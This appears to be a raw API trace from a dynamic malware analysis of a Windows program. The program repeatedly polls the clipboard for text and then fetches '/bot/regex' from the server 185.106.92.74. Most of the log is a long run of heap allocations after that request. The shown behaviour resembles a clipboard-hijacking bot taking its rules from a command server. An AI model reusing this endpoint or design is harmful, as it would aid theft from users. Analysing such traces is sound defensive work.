[0279.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x18a9e6d, dwHighDateTime=0x1d96e13))
[0279.478] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.478] GetClipboardData (uFormat=0x1) returned 0x0
[0279.478] CloseClipboard () returned 1
[0279.478] Sleep (dwMilliseconds=0x32)
[0279.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x18d008d, dwHighDateTime=0x1d96e13))
[0279.492] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.492] GetClipboardData (uFormat=0x1) returned 0x0
[0279.493] CloseClipboard () returned 1
[0279.493] Sleep (dwMilliseconds=0x32)
[0279.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x18f6317, dwHighDateTime=0x1d96e13))
[0279.508] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0279.511] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0279.513] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/regex", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0279.514] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0279.574] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x279) returned 1
[0279.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x0) returned 1
[0279.589] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0279.589] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0279.589] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0279.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x280) returned 0x6f9f58
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6db958
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf4f0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf2b0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf3f0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf2f0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d20e8
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd88
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f48b8
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d22a0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf510
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db9b8
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf310
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d2048
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf330
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6dd0b0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf350
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d2110
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf410
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d2278
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfbf0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f48f0
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d2188
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf370
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbaa8
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf530
[0279.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1c10
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf550
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1e90
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac38
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1af8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc20
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4a78
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1ee0
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fab38
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbb38
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fabd8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1da0
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6facf8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1b48
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fabf8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1df0
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfcc8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4618
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1d00
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fabb8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db718
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fa9f8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1b20
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad78
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1d28
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac58
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1f80
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfce0
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ab0
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1f58
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faab8
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db748
[0279.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fad38
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1cd8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac78
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1c38
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac98
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1d78
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfcf8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4b58
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1d50
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faad8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbd18
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6faaf8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1b70
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fab18
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1eb8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fa9d8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1c60
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc98
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4b90
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1c88
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6facd8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbc58
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fab58
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1cb0
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad18
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1f30
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad98
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1fd0
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc38
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4bc8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1dc8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6facb8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbce8
[0279.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fad58
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1fa8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faa38
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1b98
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faa58
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1bc0
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc68
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4c38
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1e18
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fafb8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbcb8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6faf18
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1be8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faef8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d1e40
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae98
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1e68
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfcb0
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4c70
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d1f08
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb138
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbc28
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fb058
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cffe8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb118
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cfea8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf78
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cff70
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc50
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f45a8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cfed0
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faeb8
[0279.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbd48
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f45e0
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d00b0
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fadf8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbc88
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fadb8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0240
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faff8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0150
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb158
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0268
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc80
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4688
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cfef8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f46c0
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d02b8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae18
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbbc8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6faf58
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d01c8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf38
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0010
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae58
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cff98
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf800
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ce0
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d01a0
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ca8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d01f0
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf98
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbbf8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fb0b8
[0279.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0060
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae38
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0218
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fadd8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cff20
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf5d8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4d18
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0038
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb0d8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7020
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fafd8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0358
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae78
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0420
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faed8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0498
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf698
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe568
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d03f8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb018
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e70e0
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fb038
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d04e8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb098
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d03a8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb078
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0510
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf620
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe6b8
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0538
[0279.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb0f8
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e6ff0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5b80
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0448
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5a20
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0380
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5800
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0330
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf608
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe0d0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d03d0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5980
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7170
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5a40
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0470
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d58e0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d02e0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d57e0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0308
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf6f8
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe370
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d04c0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d57c0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7050
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d59c0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0560
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d58a0
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0588
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5b20
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc488
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf758
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe728
[0279.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc3c0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe760
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc410
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5900
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7110
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5940
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc398
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5b40
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc578
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5920
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc2d0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf7a0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe798
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc320
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d59e0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7080
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5840
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc2f8
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5b60
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc348
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5a00
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc370
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf8c0
